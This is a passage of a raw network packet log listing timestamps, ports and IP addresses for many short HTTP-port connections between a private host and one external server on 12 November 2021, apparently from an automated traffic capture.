Nov 12, 2021 22:23:53.813174009 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.813182116 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.813194036 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.815083981 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.815396070 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.817548990 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.843214989 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.845307112 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.972300053 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.972650051 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.994441032 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.994779110 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.994924068 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.995184898 CET	80	49952	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.997134924 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.016983032 CET	80	49954	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.017174959 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.026204109 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.048969030 CET	80	49954	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.053461075 CET	80	49954	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.053571939 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.158580065 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.159733057 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.181150913 CET	80	49954	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.181750059 CET	49954	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.182015896 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.182147026 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.187715054 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.210100889 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.214098930 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.214256048 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.236244917 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.236355066 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.236677885 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.236880064 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.258683920 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.258936882 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.258963108 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.258976936 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.258997917 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.259020090 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.259078979 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.259110928 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.259123087 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.259182930 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.281441927 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281477928 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281486034 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281497955 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281506062 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281518936 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281532049 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281543970 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281569004 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281580925 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.281778097 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.281857014 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.304231882 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304263115 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304274082 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304287910 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304301023 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304311991 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304323912 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304335117 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304347992 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304358959 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304415941 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304456949 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.304565907 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304578066 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.304662943 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.326939106 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.326968908 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.326982975 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.326993942 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.329431057 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.329698086 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.342771053 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.368699074 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.370404005 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.534285069 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.538018942 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.556684017 CET	80	49955	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.557389975 CET	49955	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.560606956 CET	80	49956	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.562009096 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.562738895 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.585588932 CET	80	49956	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.588416100 CET	80	49956	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.588519096 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.724776030 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.726232052 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.747479916 CET	80	49956	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.747633934 CET	49956	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.748591900 CET	80	49957	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.748708010 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.750503063 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.756303072 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.772886038 CET	80	49957	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.776216984 CET	80	49957	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.776305914 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.778927088 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.779061079 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.779565096 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.779675007 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.802042961 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.802103996 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.818923950 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.819127083 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.841645002 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841679096 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841686964 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841695070 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841706038 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841713905 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841727018 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841840029 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841854095 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841871977 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.841941118 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.842015028 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.864998102 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865030050 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865039110 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865046978 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865053892 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865067005 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865077019 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865089893 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865101099 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865113020 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865123987 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865135908 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865147114 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865155935 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865166903 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865179062 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865190983 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865201950 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865210056 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.865289927 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.865381002 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.887923956 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.887953043 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.887968063 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.887983084 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.887998104 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888008118 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.888015032 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888031960 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888046980 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888046980 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.888062954 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888081074 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888091087 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.888094902 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888112068 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888113976 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.888128042 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888144016 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888159037 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888173103 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888189077 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888202906 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888219118 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888235092 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888250113 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888264894 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888279915 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888295889 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888310909 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888325930 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888339996 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888355970 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888458967 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888499975 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888516903 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888531923 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888547897 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888564110 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888580084 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888593912 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888609886 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.888624907 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.893285990 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.894671917 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.910983086 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.911020994 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.911109924 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.911175013 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.913418055 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.915628910 CET	80	49957	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.915802002 CET	49957	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.917226076 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.917304039 CET	80	49959	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.917507887 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.919496059 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:54.942002058 CET	80	49959	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.945357084 CET	80	49959	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:54.945986032 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.087316990 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.087783098 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.089250088 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.110836029 CET	80	49959	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.110867977 CET	80	49958	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.110966921 CET	49959	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.110982895 CET	49958	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.111504078 CET	80	49960	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.111604929 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.114799023 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.137130976 CET	80	49960	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.140536070 CET	80	49960	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.140749931 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.291138887 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.292301893 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.313565969 CET	80	49960	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.313661098 CET	49960	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.314723015 CET	80	49961	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.314851046 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.338565111 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.358064890 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.361016989 CET	80	49961	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.364486933 CET	80	49961	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.364572048 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.380434990 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.380541086 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.384706020 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.384793997 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.384983063 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.385163069 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407089949 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407130957 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407205105 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407222033 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407282114 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407303095 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407321930 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407322884 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407341003 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407354116 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407357931 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407361984 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407368898 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407388926 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407407045 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407433987 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407450914 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407465935 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407489061 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407512903 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.407531023 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.407561064 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.429747105 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429840088 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429861069 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429860115 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.429877996 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429892063 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429905891 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429922104 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429925919 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.429949999 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429956913 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429961920 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.429991961 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430036068 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430062056 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430082083 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430169106 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430186033 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430202961 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430217981 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430233955 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430237055 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430249929 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430267096 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430274963 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430284023 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.430313110 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.430354118 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.452331066 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452361107 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452370882 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452385902 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452395916 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452469110 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.452534914 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.452541113 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452562094 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452579975 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452594995 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452600002 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.452624083 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.452667952 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452683926 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452698946 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452716112 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452733040 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452749014 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452765942 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452780962 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452795982 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452811003 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452825069 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452841043 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452903032 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452958107 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.452971935 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453013897 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453027964 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453043938 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453082085 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453099966 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453114986 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453130960 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453172922 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453191042 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453207016 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453269958 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453286886 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453304052 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.453320980 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.472913980 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.474932909 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475224972 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475251913 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475269079 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475287914 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475318909 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475394964 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475477934 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475495100 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475692034 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475709915 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475725889 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.475742102 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.477617025 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.478281021 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.478387117 CET	49962	80	192.168.2.4	178.208.83.45
